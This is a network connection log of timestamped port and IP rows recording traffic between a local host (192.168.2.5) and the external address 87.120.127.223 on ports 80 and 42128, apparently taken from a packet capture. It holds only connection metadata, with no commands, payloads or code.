Oct 15, 2024 19:22:22.372220993 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.372227907 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.372236013 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.372246027 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.372251034 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.372266054 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.372267962 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.372308969 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.385117054 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.385247946 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.407630920 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.407651901 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.407711029 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.407712936 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.407749891 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.407768011 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.407783985 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.407819986 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.407834053 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.407854080 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.407907009 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.407939911 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.407963037 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.407974005 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.407994986 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.408008099 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.408066034 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.408118010 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.408126116 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.408158064 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.408178091 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.408191919 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.408226013 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.408246994 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.408260107 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.408298016 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.408304930 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.408332109 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.408364058 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.408381939 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.408396959 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.408430099 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.408463955 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.408479929 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.408497095 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.408507109 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.408530951 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.408562899 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.408596039 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.408610106 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.408628941 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.408663034 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.408672094 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.408689022 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.408704042 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.408710957 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.408721924 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.408737898 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.408757925 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.408763885 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.408775091 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.408787012 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.408792973 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.408806086 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.408839941 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.408852100 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.433198929 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.433629036 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.434732914 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.434940100 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.435022116 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.440479040 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.440737009 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.441910982 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.441943884 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.441972971 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.442004919 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.442034006 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.442042112 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.442085028 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.442106962 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.442116022 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.442146063 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.442152023 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.442173004 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.442179918 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.442203999 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.442222118 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.442235947 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.442260981 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.442265987 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.442290068 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.442317963 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.442318916 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.442351103 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.442369938 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.442373991 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.442400932 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.442428112 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.442454100 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.442465067 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.442496061 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.442519903 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.442521095 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.442550898 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.442579031 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.442606926 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.442614079 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.442635059 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.442658901 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.442663908 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.442688942 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.442717075 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.442744017 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.442755938 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.442773104 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.442775965 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.442802906 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.442812920 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.442832947 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.442842007 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.442862034 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.442867994 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.442892075 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.442908049 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.442922115 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.442950010 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.442960024 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.442990065 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.443001986 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.443013906 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.443027973 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.443042040 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.443053007 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.443065882 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.443067074 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.443079948 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.443079948 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.443094015 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.443105936 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.443109989 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.443120003 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.443133116 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.443144083 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.443155050 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.443165064 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.443166971 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.443181038 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.443186045 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.443186045 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.443197966 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.443212032 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.443224907 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.443233967 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.443243027 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.443248034 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.443270922 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.443329096 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.447789907 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.447803974 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.447863102 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.450207949 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.450221062 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.450232983 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.450247049 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.450258970 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.450270891 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.450283051 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.450290918 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.450308084 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.450321913 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.450334072 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.450336933 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.450346947 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.450382948 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.450397015 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.450411081 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.450412035 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.450426102 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.450438023 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.450450897 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.450452089 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.450464010 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.450476885 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.450503111 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.450511932 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.450525999 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.450537920 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.450537920 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.450551987 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.450578928 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.450598955 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.450683117 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.450733900 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.450787067 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.450800896 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.450817108 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.450841904 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.450845957 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.450854063 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.450861931 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.450869083 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.450906038 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.450926065 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.450964928 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.450978994 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.450990915 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451014996 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451016903 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.451029062 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451042891 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451042891 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.451055050 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451067924 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451076031 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.451092005 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451107025 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451117039 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.451119900 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451133013 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451150894 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451159000 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.451164961 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451178074 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451196909 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.451211929 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451225996 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451240063 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451245070 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451247931 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.451248884 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451261044 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451267004 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451280117 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451286077 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.451322079 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451333046 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.451334953 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451348066 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451359987 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451363087 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.451371908 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451406002 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451417923 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451422930 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.451431036 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451443911 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451452971 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.451457977 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451471090 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.451517105 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451529980 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451543093 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.451543093 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451556921 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451570034 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451581001 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451592922 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.451618910 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.451653957 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451658010 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.451668978 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451682091 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451694012 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451705933 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451718092 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451721907 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.451730967 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451739073 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.451760054 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451771975 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.451772928 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451785088 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451792955 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.451798916 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451812029 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451826096 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451838970 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451844931 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.451850891 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451865911 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451878071 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.451879025 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451890945 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451900959 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.451915979 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451929092 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451948881 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451953888 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.451962948 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451976061 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.451989889 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.451989889 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.452018023 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.452042103 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.452053070 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.452055931 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.452069998 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.452081919 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.452095032 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.452107906 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.452110052 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.452131987 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.452167988 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.452195883 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.452209949 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.452223063 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.452234983 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.452245951 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.452258110 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.452267885 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.452294111 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.452318907 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.454909086 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.454967022 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.456943035 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.456957102 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.456969023 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.456981897 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.457030058 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.457048893 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.457050085 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.457065105 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.457077026 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.457088947 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.457101107 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.457104921 CEST	49735	42128	192.168.2.5	87.120.127.223
